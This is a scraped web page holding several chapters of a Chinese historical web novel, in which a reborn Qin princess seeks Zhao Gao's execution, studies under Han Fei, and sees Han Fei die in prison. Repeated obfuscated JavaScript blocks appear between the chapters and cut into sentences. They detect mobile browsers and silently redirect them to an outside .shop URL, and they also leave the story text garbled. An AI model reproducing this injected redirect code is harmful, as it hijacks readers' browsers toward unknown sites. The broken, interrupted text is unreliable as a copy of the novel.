d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135678|196263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点迷人。 但她克制住了自己,没有再说什么,而是在沉默许久后告退了。 回永巷的路上,云乐与扶苏并肩而行。 “阿兄……若是你知道一个人未来会犯很大的过错,害死很多人……你会现在就杀了他吗?” 扶苏看向云乐,看出她的迷茫,她的惶恐,她的犹疑。 于是,他挥退侍人,认真思考,谨慎提问:“我的答案,很重要吗?” “很重要。” “不淫意于法之外,不为惠于法之内③。作何解?” “……不将私意凌驾在律法之上,不在法律之内随意施恩。” 见云乐面色不变,扶苏接着说:“法令者,民之命也,为治之本也,所以备民也④。作何解?” “……律法是百姓的命脉,治国的根本,所以律法是用来防范民众犯罪的。”云乐沉吟片刻,接着说:“是故律法重在防患于未然,而非惩罚于未然。” “这就是我的答案。”扶苏郑重地告知了云乐自己的想法。 其实这些云乐何尝不明白,毕竟两辈子加起来她或多或少也学了四年多的法律了。 她好想说,可是你们不知道,赵高究竟做了什么…… 她企图让扶苏说服自己:“……若是这个人,也会害死阿兄你呢?” 扶苏叹了口气:“我依旧坚持我的想法,但是云乐,那也只是我的想法。” 我不知赵高究竟做了什么,但我相信我妹妹的判断。 更何况…… “云乐,当你接着追问我的时候,就表明你的心中已经有决断了。” 扶苏如同第一次见到云乐时一样,理了理云乐的衣物:“你是大秦的公主,嬴云乐。” 四目相对,扶苏想说:大秦永远是你的底气,所以,不要害怕做出决断,不要恐惧承担责任。 但云乐想的却是:对啊,我已经是大秦的公主,身在局中,又怎能妄想当一个局外人呢? 这一刻,后世所有对扶苏的评价都被云乐抛之脑后了,她从未如此清晰地意识到,现在的扶苏,是一个活生生的人,是她嬴云乐的兄长。 他聪慧通透,体贴友爱,是一个很好的哥哥。 “阿兄,我突然想起来,我有东西落在章台宫了。”她对着扶苏笑起来:“阿兄等等我好不好?” “我把东西取了就回来。” 待我取了赵高的命,就回来。 扶苏答应了。 云乐转身向章台宫跑去,重生四年,她第一次迈开脚步,大步向前跑去,仿佛挣脱了束缚。 纵使有无数理由可以为自己开脱,但是云乐选择直面自我,去承担这份罪孽。 对不起了,我的老师还有我的祖国,云乐愧对你们的教导,愧对现代的教育。 但是,嬴云乐不后悔! “儿臣云乐,求见父王!” 殿内,嬴政惊讶抬眸,继而笑了出来:“进来。” 她跨过门槛,走进章台宫,仿佛要将身后的暖阳一并抛下。 下跪,行礼,神色肃穆,此时的她和这个时代的每一个人没有区别。 “儿臣请奏,诛杀赵高!” 嬴政笑不出来了,身为秦王,他洞悉人性,身为父亲,他了解女儿。 他太清楚云乐的良善。 正是因此,嬴政内心的震动才更加不足为外人道。 8. 身死(修) 究竟是多么严重的罪过,才能让云乐毫不迟疑地说出“诛杀赵高”? 他没有让云乐起身,而是以秦王政的身份询问云乐公主:“你可知你在说什么?” “女儿知道。” “迄今为止,赵高并无过错。” “女儿知道。” “即使如此,你也要坚持你的观点吗。” “……坚持。” “……” 说谎。 脸上的不忍和愧疚都快满出来了,还要坚持自己的想法,实在是愚蠢至极。 嬴政看着自己的孩子,明明该高兴的,毕竟他的孩子都过于仁善,这是第一次,有一个敢在他面前直接请求自己除掉身边近侍,如此果决,如此胆大,如此当机立断。 就像一个君王该有的样子。 嬴政第一次有点遗憾,为何云乐是个女儿身呢? 盛夏时节,阳光浸满整个章台宫,却好似要将云乐淹死了。 “那好,寡人答应你。”嬴政缓缓开口。 他看着云乐快要哭出来的样子,接着说:“一旦发现赵高触犯律法,寡人会即刻处置他。” 云乐愕然抬首。 嬴政到底还是不忍心。 他走到云乐面前,用了揉了揉她的头发,嘲笑她:“明知会后悔,还要如此行事,实在愚蠢。” “若有下回,寡人绝不轻饶。” 不过这一次,就算了,看在你母妃的份上。 嬴政在心里为自己的心软找补。 云乐这下子是真的哭了:“阿父,你实在太恶劣了。” 她控诉嬴政:“总爱看我的笑话,太过分了。” 但是事实上,她真真切切地松了一口气,负罪感如潮水褪去,留下一个成为始皇粉的灵魂。 怪不得上辈子这么多人想穿越回来给您当牛做马,又是想找长生药又是想给世界地图的。 此男确实很有魅力啊家人们。 真是奇怪,怎么突然就涌出一股力量想要为大秦做贡献了呢。 云乐在心里连声感叹。 “恶劣?过分?” 谁心疼孩子谁倒霉,嬴政立刻冷哼一声,誓要坐实这两个词:“下回的休假取消,你耽误的课业太多了,得补上。” “……” 朋友说得没错,离偶像太近会见光死。 十三天不能休息!塌天大祸! 云乐不敢在章台宫呆着了,生怕下下回的休假也跟着取消,赶紧告退。 嬴政看着云乐离去的背影,摩挲着竹简思索片刻。 “传令,赵高私自触碰秦王玺,腰斩。” 语气没有一丝起伏,恍若碾死一只蚂蚁。 学室内,扶苏与华阳正在认真苦读,将闾围着公子高叽叽喳喳,扰得人烦不胜烦,至于云乐,她正在和阴嫚说悄悄话。 大家都在忙着自己的事情,每个人都有光明的未来。 “阿乐阿乐,今日来得先生可不一般。” 八卦小能手阴嫚开始分享她的信息:“听说今日的先生是韩国公子非!” “?” 云乐疑惑,她不是拒绝了公子非当老师吗?怎么人还来学室教书来了? 她对韩非是抱有极大的警惕的。 毕竟据她所知,韩非一心存韩,和想要大一统的秦国有着不可调和的矛盾,注定不同路的人,又何必建立联系? “欸?可是他不是……口吃吗?怎么给我们上课啊?”将闾听到这边有八卦,拽着公子高就来了。 “啪!” “诶呦!” 扶苏给了将闾一个好吃的板栗,将闾用声音告诉大家自己有一颗好头。 “非礼勿言。” 叽里呱啦说啥呢? 将闾脑子空空,整个人都透露出一种没有被知识污染的美。 “大兄是想说,让你勿要在背后说人坏话。”公子高无奈了,自家兄弟怎会如此愚钝。 “可是这又不是坏话,这是事实啊!”将闾不懂,将闾提问。 “先生口讷,然其书字字珠玑,可见其满腹经纶,博古通今。”华阳接了话,示意将闾不能因为韩非的缺点就忽略了他的才华。 可惜将闾没听懂。 “口吃的原因大多可分为身体原因和心理原因。”云乐直说:“韩国王室除了公子非并无口吃之人,除非他……”基因突变,否则生理原因导致口吃的可能性应该不大。 但是云乐不想解释这么多,干脆直说:“公子非口讷,多半是因为心中压力过大,紧张,他又思虑过多,嘴巴跟不上脑子导致口吃的。只要他讲话的时候我们耐心听,不插嘴,不鄙视,不要露出不耐烦的神色,他的口吃应当会改善的。” 就当在小孩面前多练练了。 将闾终于听懂了:“我知道了,就像我脑子虽然不好,但是你们都不会嫌弃我,所以我要像你们对我一样对先生。” 真是好孩子啊,云乐都感动了。 不过…… “谁说你脑子不好的?”小朋友只是理解能力不够好,怎么能说他脑子也不好呢! 云乐生气,阴嫚也不高兴了,两人一起挽起袖子准备大干一场。 “母妃说得。”将闾一点也不觉得自己被骂了:“母妃让我多听大兄和二兄的话,自己脑子不好就别动脑子,听话就行了。” 啊这…… “那你听你母妃的。”云乐把袖子放下,顺便把阴嫚的也拉下来:“她最爱你了,听母妃的没错。” 将闾极为赞同得点了点头。 几人说话间,韩非已经到了学室。 老实说,他是紧张的,孩子多半天真又残忍,遇到和自己不一样的就会好奇,大肆嘲笑。 在韩国,他就被韩王安的孩子当面嘲讽过许多回。 想必咸阳宫中的孩子也是如此。 却没想到,当他走进学室时,几个孩子都在认真看书,见他进来,齐声道了声先生,便不再说话,而是齐刷刷看着他,等他来授课。 韩非愣住,但是很奇怪,他突然没有那么紧张了。 至于这群孩子是怎么突然坐好的? 云乐深藏功与名,开玩笑,当了这么多年学生,听老师脚步声,这叫基操! 韩非看了一圈这几个孩子,最终将视线落在最小的萝卜头上,那就是瑶华的孩子吗。 眼睛和瑶华长得真像啊,至于其他的……韩非没法欺骗自己,云乐除了一双大眼睛,剩下的就和秦王嬴政从一个模子里刻出来似的。 他收敛心神,开始上课。 韩非的上课风格和以往的先生不同,他擅长讲故事,总是从一个个小故事中让孩子自行体会其中的道理。 一开始,他还讲得结结巴巴,但是安静的环境,孩子们好学的样子让他渐渐忘记了自己的口吃,越讲越流畅,越讲越投入。 然而孩子总是能让人意想不到,当他说完守株待兔,问你们能从中悟出什么道理时,他总算见证了孩子的多样性。 “这个兔子一定很好吃!让农人念念不忘,以至于还想再吃一次!”将闾率先跳起来回答。 “他肯定把抓到兔子的事情炫耀出去了,说不定就是他身边的人都知道了能抓兔子吃,把兔子都抓走了,他后来才没有再抓到兔子的。”阴嫚不甘落后。 “他的做法是错误的。”华阳冷静开口。 韩非欣慰,终于有一个知道他想说什么了。 “他不应该直接把兔子吃了,他应该做好准备,顺着兔子的来处找找有没有别的兔子或者是吃兔子的动物,猎杀他们,这样以后都能有肉吃了。” 不,他想说的道理不是这个。 韩非将期待的目光转向剩下三个孩子。 云乐恶趣味上来了:“听说兔肉味道鲜美,加上茱萸和姜片一起烧肯定很香。” “……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135679|196263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 算了算了,孩子还小。 韩非不想说话了,他看向沉稳的长公子和内敛的公子高。 在他的注视下,扶苏缓缓开口:“先生,您的故事并不合理,弃田不耕者属于游食之民,按律可处死;违时误耕者按律赀二甲。所以农人不可能为了偶然出现的兔子不顾农事。” 小小年纪,深谙秦律,还能结合故事判断农人所犯何罪。 不愧为长公子,博学多识。 韩非还想最后挣扎一下,他将期盼的目光投向公子高。 “……勤奋才是根本,偶然所得不可能长久,只有踏实肯干,才能延续生活。” “是极是极!”韩非喜出望外,还是有人能懂他想说什么的! 他挨个夸赞孩子,说大家想法都很好,说得都很有道理,然后自己总结了一番其中的道理。 课上到最后,他口齿清晰,吐字伶俐,获得了孩子的一致好评。 当然,课业是少不了的,他又说了一个郑人买履的故事,让几个孩子写一篇观后感,下回授课的时候让他看看,他们可以一起讨论讨论。 除了云乐,几个人都是热情高涨,誓要回去写出一些东西来,毕竟几个孩子都不傻,看得出来还是将闾的发言最得韩非心意。 下一回,必定是我的文章最得先生心意! 熊熊战火自背后升起,进一步激发了几个人的学习热情。 “不愧是公子非,授课深入浅出,有条有理。”扶苏赞赏,并表示对这位先生十分满意。 “他不骂我,我喜欢他!”将闾直言。 公子高也赞同地点了点头,这是难得一个平等对待所有人的先生,往日的先生虽然不差什么,但总是更多地关注着扶苏。 华阳和阴嫚也很喜欢韩非,他语气温和,认真倾听每一个人的发言,让她们感觉到自己被尊重了。 只用了一堂课,韩非就俘获了百分之八十的学生的好感。 接下来的一个月,韩非隔三岔五就会来授课,让云乐想起了小时候看过的伊索寓言。 就连云乐,也从一开始的警惕到后来被他的教学方式所折服,以至于不得不承认,他真的是一个很好的人。 韩非子之名,他当之无愧。 直到这一次,他讲了卫人嫁女。 卫国有个人在女儿出嫁时叮嘱她:“到了婆家务必多攒点私房钱。当媳妇的被休弃是常有的事情,能长久相守的都是侥幸。” 他的女儿听了父亲的话后真的攒了很多私房钱,正因如此,她的婆婆嫌弃她太过自私贪婪,将她休弃了。 女儿带回家的财产比出嫁时多了一倍,她的父亲不责怪自己用不妥当的方式教导女儿,反而沾沾自喜,认为这样能让家里变得更加富有。 如今当官的大多数都是如同这个卫人一般的人。 最后一句话,韩非没有说出口,但看着他面露讥讽,那是一个爱国者才会有的表情。 云乐在心里默默想着,我想和他谈谈,我还是想救他的。 课后,扶苏等人先一步离去,只留下了云乐和韩非两人。 “公主可有何疑问?” 这是两人第一次私下相处,面对妹妹的孩子,韩非忍不住露出了一个笑容。 “……”云乐没有说话,而是仔细观察着韩非。 四十多岁的年纪,由于长期得不到重用,愤懑、沉郁在他的脸上刻下深深的痕迹,给人一种颓废大叔的感觉。 她伸出手,隔着一片空气轻抚他满是折痕的眉心。 “韩国的官员,都和你说的卫人一样短视吗?” 孩童天真的话语宛如一柄利剑,刺痛了韩非,但这是他妹妹的孩子,是他英年早逝,让他一直心有愧悔的妹妹的孩子。 所以,他认真地回答了:“是的。” “即使如此,你也依旧来了秦国。”云乐不留情面地指出:“想为了这样短视的韩国搏一线生机?” 9. 向韩 “……” 韩非不言,但云乐已经从他的表情中看出了答案。 她好想发疯,想要大叫。 “……他们对你不好。” 为什么还要如此留恋韩国,韩国到底有谁在啊?! 云乐是真的不懂了:“为什么……母妃是这样,你也是这样……” “韩国究竟好在哪儿?” 都那么眷恋故国。 韩非觉得很愧疚,入秦以来,他一直抱着弱秦的目的,他不是没有被这里的一切感动过,动摇过。 在这里,他能施展抱负,在这里,他能看顾妹妹的孩子,也是在这里,他认识了一群很美好的孩子,但是…… “那是我的家。” 我怎么能,舍弃并且主动去毁灭自己的家呢? “就不能……为了我……”云乐知道自己没有什么分量,或许对于韩非而言无足轻重,但她还是厚着脸皮求了。 “对不起,云乐,我是爱你的。”韩非抱住了云乐,补充道:“我和你的母妃,都是爱你的。” 云乐知道自己劝不动他了。 因为那双眼睛,她见过的。 夜深人静,揽镜自照,她回忆过往时的眼睛和现在的韩非一模一样。 劝不了了,自己都没有放下,怎么可能劝得动别人? “你这样……”她深吸一口气,将酸涩咽下:“父王不会放你回去的。” “无妨。”韩非惊讶于孩子的敏锐,又为她感到骄傲。 “我也不会求父王的。” “你本就不必这么做。” “我是大秦的公主。”云乐冷酷道:“大秦的意志就是我的意愿” 我是不会帮你保下韩国宗室的,我巴不得他们都下去给母妃陪葬。 “那很好啊。”韩非笑起来:“与秦君的目的一致,是你的幸事。” “我不会想你,也不会为你难过。” “你要是有自知之明,就早日回你的韩国去吧。” 韩非没有说话,大手轻轻抚过她的头发,一味地用抱歉的眼神看着她,明明和瑶华夫人的手不一样,但是给云乐的感觉很相似。 云乐甩开他的手,走了。 两个人都没有回头。 章台宫。 侍人来报,李斯求见。 嬴政手中政务不停,直接让人进来。 “臣请言,臣闻大王有并吞六国,一统天下之心,敢问此志今安在否?”李斯字字珠玑。 嬴政不得不停下手中政务,郑重回答:“自然。” “臣闻腑中有痼疾者,平日不见其害,旦逢劳顿,其弊立显。而今周室衰微,群雄并起……”李斯对着嬴政侃侃而谈:“韩之于秦,譬如痼疾之于人。故臣以为,当灭韩以威诸侯,一则免大秦后顾之忧,二则诸侯见韩亡,士气自颓,我军东进即可事半功倍。” 李斯……来离间他和韩非了? 不对,他只是反对韩非攻赵的政策罢了。 嬴政面色不变,思索片刻后才说:“君思虑周全,寡人自当仔细考量。” 李斯见状,不再多说,而是向嬴政提出告退。 望着李斯离去的身影,嬴政眸色深沉。 犹豫片刻后,他开口叫住李斯。 “不知大王有何示下?” 嬴政在成堆的简牍中找出韩非的上书递给李斯。 自韩非入秦,已两月有余,上书两则,一个是提议嬴政先灭赵,缓灭韩,另一个则是——弹劾姚贾。 嬴政指尖轻点桌案,暗自陷入沉思。 若从云乐所言推断,未来韩非死于李斯之手,想必政策上的分歧就是两人矛盾之一。 但是李斯绝不敢在我看重韩非的时候对他下手。 那么,为何云乐会认为,韩非因李斯而死呢? 嬴政回忆过往,想起云乐提出的问题。 韩非……对韩国的情感?会是我对他起了杀心的原因吗? 嬴政觉得很有可能,毕竟哪怕是现在,他只要想想韩非所言皆为存韩,尚且心有不快,更何况是毫无防备,被人直接指出这一点的自己。 更何况…… 嬴政又将目光转向另一则上书。 虽说姚贾为人隐忍狠厉,行事诡诈,但其破四国合纵,是如今的大秦不可或缺的人才。 然而韩非却上书弹劾其出身卑贱,私交诸侯,靡费国财。 种种举动,让嬴政不可避免地怀疑起韩非的动机。 时至今日,重点早已不是李斯是否会背着自己杀了韩非。而是在仔细思考后,嬴政发现自己现在就对韩非起了杀心。 以韩非之才,若不能真正为我所用,不如杀之以除后患! 嬴政闭目,将杀意收敛。 不急,再等等。 虽然云乐没说,但如果韩非真的惹怒了他……若想要操刀韩非之死,寡人绝不可能只让李斯一人参与其中。 姚贾……姚贾虽然有才,却不是易与之辈,倘若得知韩非弹劾自己…… “日前,韩非上书弹劾姚贾,并言大秦若想一统,当先取赵而缓攻韩……廷尉以为,韩非可是真心为秦谋划。” 李斯顿住了,沉默片刻后才谨慎回答:“臣以为,公子非天资聪颖,才华横溢,是一位不可多得的人才。” “……” 嬴政没有说话,李斯却知道,大王对韩非起了杀心。 而在大秦,秦王政的意志不容违逆。 李斯心中升起惋惜之情,却不再多言,这一日,君臣二人交谈至夕阳西下。 两日后,李斯、姚贾一同前来求见嬴政。 嬴政面色如常,哪怕早有所料,依旧耐心等着两人闲扯一番后提出今日真正的目的。 “今六国分崩,韩弱,取之可以威慑诸侯,赵强,强攻则心腹大患可除,敢问大王,欲从何策启东出之路?” 嬴政面露犹豫之色,没有回答。 见此,姚贾上前一步:“臣有一言。” “君请。” “韩非,韩之诸公子也。今大王欲并诸侯,然公子非力主先伐赵,看似为秦实则为韩,借机拖延我军东出,乃人之常情也。”姚贾率先出击。 “……” 李斯开团秒跟,趁热打铁:“若大王不用,公子非久留而归之,此自遗患也,不如以法诛之①,永绝后患。” 嬴政露出被说服的表情,当即命令李斯将韩非发落云阳狱,由廷尉审理治罪,按秦律查办。 两人离去后,嬴政思索片刻,唤道:“蒙毅。” “臣在。” “暗中告知云阳狱……若李斯前去,不必阻挠。” 李斯向来是个聪明人,知道要做什么。 虽然对云乐的想法很感兴趣,但吞并六国才是重中之重。 “诺。”蒙毅内心翻起惊涛骇浪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135680|196263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,面上却依旧沉稳。 另一边,云乐尚且不知章台宫的风起云涌,正和扶苏等人一起努力读书。 直到韩非入狱五日后,阴嫚才可怜兮兮地过来:“阿乐……听闻先生五日前被下狱了。” 在阴嫚眼里,云乐简直惨得不能更惨了。 先是母妃刚刚亡故,接着有血亲的老师就被父王下狱,甚至可能被处死,虽说之前先生上课时一直看不出云乐对他有什么情感,但几个月的相处,连她都有点伤心难过,何况是云乐呢? 云乐惊讶地看了一眼阴嫚,倒不是在震惊韩非下狱一事,而是惊讶阴嫚消息如此灵通。 “你从哪儿知道这件事的?” 虽说不是什么要隐瞒的大事,但身处内廷,能在五天之内就知道这个消息,且看样子连内情都知道,实在是很了不得。 阴嫚到底也只有五岁,看到妹妹崇拜又惊讶的神情,不知不觉就跑题了:“这还不简单,咸阳宫虽然出入森严,但是侍人采买总能带点消息进来,稍微一探便知道了。” 听君一席话,就好比听见人说将大象放进冰箱只需要三步一样。 谁说始皇帝子女虽多,有能力的却没有的,这不是厉害得很吗? 这种情报能力,要是好好挖掘,因材施教,云乐都不敢想,未来的大秦将拥有多么强大的情报头头。 “诶呀,你先别好奇这些了。”阴嫚晃过神立刻把话题拉了回来:“先生被父王下狱啦!” “我知道。” 已经有所猜测了。 “……你不难过吗?”阴嫚迟疑。 “为什么要难过,有这个时间不如多读点书,等一会儿先生来抽背了。”云乐那旁观者一般的疏离感在阴嫚面前展露一角:“更何况,我是父王的女儿,秦国的公主,而公子非,说到底是韩国的公子。” 从一开始,云乐就有两者立场并不一致的觉悟,如果事先已经知道立场对立,那么你死我活的结局也并不那么难以预测。 更何况……云乐垂下双眸。 瑶华夫人已逝,若韩非也一样注定死亡,大不了等日后攻韩,设法把王室人员都给你们送下去。 谁说双死不算美好结局呢? 她已经努力过了,无论这个人是死是活,她都问心无愧。 毕竟,她能确认韩非是真的心向韩国而非秦国。 “那就好,我还担心你会伤心。”阴嫚长舒一口气。 “阿乐若当真伤心了,阿姊会怎么办?”云乐西子捧心,装作一副伤心欲绝的样子想要逗逗阴嫚。 阴嫚一把抱过云乐,拍了拍她的后背:“我会这样!” “阿乐阿乐,你不要伤心,你有阿姊,有阿兄,有好多好多爱你的人!” 这下子轮到云乐僵住了,她状似很忙,开始整理衣服头发,一秒钟做出八百个动作,就是没有回阴嫚的话。 阴嫚见状大笑出声:“阿姊阿姊!你快来瞧瞧!阿乐居然害羞了!” 一时间,其余人皆向她们望去,空气一静,随后此起彼伏的笑声冲破屋檐,直上九霄。 阳光明媚,飞鸟见证孩子们美好欢乐的童年。 与此同时,云阳狱中却照不进一丝阳光。 韩非颓坐在狱中,无声无息,仿佛整个人的精气神已经被抽干。 吱呀一声,牢门打开。 韩非闻声望去,只见李斯提着食盒,站在牢房门口。 10. 狱中对 “师兄。”李斯将食物一一取出,放在韩非面前,又拿了两盏酒杯放在彼此面前。 “你我二人,多年未见,没想到再次有机会能与师兄交谈,会在云阳狱中。” “……”韩非神色复杂,沉默不言。 见韩非沉默不语,李斯也不多话,而是拿起筷子吃了口饭。 “师兄,昔日求学,我是真的羡慕你。” “有何……可羡。”韩非自嘲。 “很多。”李斯看向韩非:“你出生王室,身份高贵,过目成诵,一点就通。” “那时我是真的羡慕你。” 李斯出身不高,昔年不过楚国上蔡一小吏,起点不知比韩非低了多少。 “你很好。”韩非低声说道。 有些时候,身份反而是束缚。 李斯笑了笑,感叹道:“昔日我不过一小吏,本以为此生会就此虚度。但有一日,我看着那厕中的老鼠,吃着秽物,看着瘦骨嶙峋,见了人犬就仓皇而逃。” 韩非有些不适地皱了皱眉。 “但是那谷仓中的老鼠可就不同了,吃得膘肥体壮,一点儿也不怕人。”李斯接着说:“从那时起,我就明白了——” “人之贤不肖譬如鼠矣,在所自处耳。”① 也是自那时起,李斯辞去工作,毅然决定拜去荀子门下。 这才有了今日的李斯。 韩非终于侧过身看向李斯:“如此说来,师弟,如今可是,已做了那仓中鼠?” “自然。” 韩非也拿起筷子,吃了口食物。 “可有些人,出生便是仓鼠。不知厕鼠,如何过活,没了对比,自然也不知,自己活得滋润。” 韩非到底还有口吃,一句话说得断断续续。 “可谷仓,终究是,人的谷仓。人若是,取走了粮食,只怕仓中鼠,过得还,不如厕鼠。” 两人又是一阵沉默。 韩非对于李斯的来意,其实心知肚明。 他只是没想到,还能有机会与他交谈一番。 李斯呢? 站在个人的角度,他从来没想过要让韩非死,但作为大秦的廷尉,他绝不能容忍公子非的弱秦之心! 政斗尚且你死我活,何况是国与国之间的斗争呢? 那只会碾碎更多的人。 李斯掏出一张缣帛递给韩非。 “云乐公主让我转交的。”他言简意赅,不愿回想当初云乐拦下他的情景。 那一日,君臣二人密谈。 李斯从章台宫出来时天色已晚,却还是在出宫之前被云乐拦下加班了。 “李廷尉,且慢。” 李斯回首,没有看到人。 直到衣角感觉被人扯了扯,他才低头,发现了云乐。 “云乐公主。”他打了声招呼,不知云乐叫住他有什么事情。 “烦请李廷尉替我将这个转交给公子非。”她从袖子里掏出缣帛,递给李斯。 “?”李斯知道韩非这一个月来一直在给诸位公子公主授课。 “这是上一次先生讲课后留下的课业,我将所有人的都汇总在这里了。” “待下回授课,公主亲赠韩非即可?” 为什么要由他转交?更何况,这俩算得上是亲戚吧,何必过一道外人的手。 “他来不了了。”云乐语气笃定:“故而请廷尉转交即可。” 李斯陷入了头脑风暴,云乐公主势力恐怖如斯?大王与他尚未明言的默契,竟被一个孩子知道得七七八八。 不对,这不可能。 “为何来不了?” 他故作不知。 云乐知道,吵架的时候绝对不能陷入自证陷阱,想必在这种时候同样适用,既然如此,那就直接反问回去。 “廷尉是在明知故问吗?” 李斯是个非常聪明又有能力的政治家,可以说,他和始皇一起书写了华夏文明的底层代码,用他的才华向世人证实了封建社会大一统格局下皇帝独揽大权的可行性。 自此以后,逐鹿中原者不一统,不配称帝。 面对这种人,云乐深知多说多错,面对他的时候紧张得要死,深怕被人看穿了。 所以她全程面无表情,眼睛都不敢眨一下。 你要问为什么她不怕始皇? 很简单,在不知道始皇身份前云乐只觉得这是自己亲爹,而认知一旦固定,就难以改变了。 但是在李斯看来,云乐就非常可怕了。 首先,黄昏时分,逢魔之刻。 云乐公主孤身前来,面无表情,眼睛大睁,眨都不眨! 如果他接受过互联网的熏陶,就知道这种感觉可以总结为:感觉这个人鬼鬼的。 其次,秦王与他之间的谋划,只可意会不可言传。但是他才刚出了章台宫,就被云乐拦下,点出了两人之间的密谈! 就算当初两人密谋时云乐就在一旁,可他们根本没有说出口的东西,公主是怎么知道的? 李斯心中翻江倒海,面上倒没有什么变化。 他一边暗自感叹大王果真厉害,就生的女儿都如此深不可测,一边径直接下了缣帛,承诺过几日会给韩非带到。 云乐心中感慨:不愧是李斯,短短几句话就知道了我的意图,真是深不可测!真是太靠谱了!能做始皇丞相,果然有好几把刷子。 于是心中愈加敬畏。 本来还想问两句,是否要先告知嬴政或者把缣帛先给他看一下,现在一想,根本没必要! 李斯什么人啊,还用得着她提醒? “那就多谢廷尉。”她面目表情地道谢,随后转身就走了,整个人透着一股稳重矜贵,李斯感觉自己仿佛看见了缩小版大王。 李斯复杂难言地结束回忆,而韩非惊讶地接过了缣帛。 上面通篇大白话,甚至还有几个错字,韩非一脸笑意:“公主,当真可爱。” “……”李斯不想说话,只觉得韩非滤镜太深。 你说谁可爱?那个大王翻版云乐公主吗? ……好像是有点可爱。 缣帛的第一部分,是韩非留给几个孩子的课业,云乐总结了一份写在上面。 教了几个孩子一个多月,即使云乐没有说哪一部分是谁写的,韩非还是一眼就看出来了每一段都是谁的想法。 毕竟这些孩子特点鲜明,都很有趣。 看着看着,他不禁笑了出来:“若有来世,我愿为师,平生,只做一事,传道、授业、解惑也。” “那是三件事。”李斯难得当了个吐槽役。 第二部分,只有一句话。 我理解你。 韩非感动,韩非仔细地把缣帛叠起来,在胸口处放好。 “非,此生无憾。” “当真?” “当真。” 李斯嗤笑,李斯不信。 不过抛去韩国公子和秦国廷尉的身份,他们其实相处不错。 两人因彼此才华惺惺相惜,交流起来什么都说,什么都骂。 “你不该插手秦国朝政。”李斯吐槽:“飞蛾扑火,愚蠢至极。” “从心所欲,问心无愧。”韩非不服,但是他现在没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135681|196263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔,骂不回去。 憋屈。 李斯甩过来一团竹片和一支毛笔。 “不够,你,还有。” “就这些了,没别的。”李斯面无表情。 韩非笑了笑,拿起笔“刷刷刷”写下一大串,递给李斯。 “大王可不是你们韩王,他励精图治,心有抱负。是我自己选择的明主。”他一边回复,一边将竹片上的字迹削去,然后还给韩非。 韩非又写了一大堆递过去。 李斯一看,冷哼一声:“变法者,当有此觉悟。我没有你蠢,学什么不好,学屈原。” 韩非生气,哐哐一顿写。 李斯不用看都知道是骂人的话,接过来就把字削了。 两人一来一往,说了很多话,写了很多字。 最后,韩非看着变得薄薄的竹片,思索片刻,朝李斯伸出手。 李斯无语,又从袖子里掏出一叠竹片:“这回真没了。” 韩非接过来,继续写。 李斯也不说话,就看着他,写下自己的毕生所学。 说来也是可笑,韩非身为韩国公子,在韩国被人嘲讽,一生不得重用,最后关头还被韩王安推出来为韩国搏一线生机。 偏偏在秦国,重遇了昔年挚友和赏识自己的明君,还碰见了一群可爱守礼,从不会嘲笑他的孩子。 被忽视的童年,被打压的青年,似乎都在这短短几个月里得到了疗愈。 他的偏激,他的愤世嫉俗,他的报国无门…… 如果时间再长一点,或许他真的能放下。 可偏偏,他爱韩国,他想守住的,也只有韩国。 韩非内心怅然,却不后悔。 他写满了竹片,再将它们递给李斯。 “别想了,我不会替你转交给大王的。”李斯冷漠,他深知嬴政的性格,若是看见韩非的文章,说不得就要后悔了。 但是他太了解韩非了,他只要活着一天,就会想方设法弱秦以保全韩国,这实在不利于秦国想要达成的目标。 作为韩国公子,韩非必须死。 “给,云乐。”韩非摇了摇头,示意这不是给嬴政的。 “教,她。”唯一一点遗憾,大概就是这个孩子了。 母亲和舅舅,都离她而去,留她一人在世上。 李斯嘴角抽了抽,他其实不是很想和云乐打交道,毕竟师从荀子,儒家都说敬鬼神而远之,但是这位公主,她看着鬼鬼的。 但这是韩非的遗愿,李斯愿意帮他:“知道了,我教她。” 韩非很高兴,在云阳狱里,他笑得比前面几十年都多。 这一次,两人谈论了很久,从法家到儒学,从国君到臣子,从军事到内政…… 上一次如此交谈,还是在荀子门下,两人抵足而眠的时候。 这是政治家之间的交流,也是思想家之间的交流。 这一晚,两人碰撞出的思想火花,注定流传千古。 深夜,李斯走出云阳狱。 秦王政十四年夏,韩国公子非,亡于狱中。 